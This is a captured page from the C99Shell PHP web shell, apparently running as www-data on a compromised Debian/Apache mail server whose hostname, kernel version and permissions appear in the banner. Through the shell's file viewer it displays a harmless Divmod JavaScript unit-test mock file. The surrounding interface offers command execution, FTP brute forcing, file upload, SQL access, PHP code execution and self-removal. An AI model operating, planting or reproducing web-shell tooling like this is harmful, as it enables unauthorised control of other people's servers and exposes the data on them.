!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/nevow/js/Divmod/Test/   drwxr-xr-x
Free 129.9 GB of 142.11 GB (91.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Mock.js (1.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
 * L{Divmod.UnitTest.TestCase}s that are used by L{Divmod.Test.TestUnitTest}
 * in order to test the unit testing framework.
 */

// import Divmod.UnitTest

/**
 * L{TestCase} subclass that we use as the primary subject of our tests in
 * L{TestCaseTest}.
 *
 * L{_WasRun} mostly just keeps track of which methods were called on it.
 */
Divmod.Test.Mock._WasRun = Divmod.UnitTest.TestCase.subclass('Divmod.Test.Mock._WasRun');
Divmod.Test.Mock._WasRun.methods(
    function __init__(self, methodName) {
        self.log = "";
        Divmod.Test.Mock._WasRun.upcall(self, '__init__', methodName);
    },

    function setUp(self) {
        self.log += 'setUp ';
    },

    function test_good(self) {
        self.log += 'test ';
    },

    function test_bad(self) {
        self.fail("fail this test deliberately");
    },

    function test_error(self) {
        throw Divmod.Error("error");
    },

    function tearDown(self) {
        self.log += 'tearDown';
    });



Divmod.Test.Mock._BadSetUp = Divmod.UnitTest.TestCase.subclass('Divmod.Test.Mock._BadSetUp');
Divmod.Test.Mock._BadSetUp.methods(
    function __init__(self, methodName) {
        self.log = "";
        Divmod.Test.Mock._BadSetUp.upcall(self, '__init__', methodName);
    },

    function setUp(self) {
        self.fail("failed setup");
    },

    function test_method(self) {
        self.log += 'test_method ';
    },

    function tearDown(self) {
        self.log += 'tearDown';
    });



Divmod.Test.Mock._BadTearDown = Divmod.UnitTest.TestCase.subclass('Divmod.Test.Mock._BadTearDown');
Divmod.Test.Mock._BadTearDown.methods(
    function __init__(self, methodName) {
        self.log = "";
        Divmod.Test.Mock._BadTearDown.upcall(self, '__init__', methodName);
    },

    function setUp(self) {
        self.log += "setUp ";
    },

    function test_method(self) {
        self.log += 'test_method ';
    },

    function tearDown(self) {
        self.fail('deliberate fail in tearDown');
    });

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0172 ]--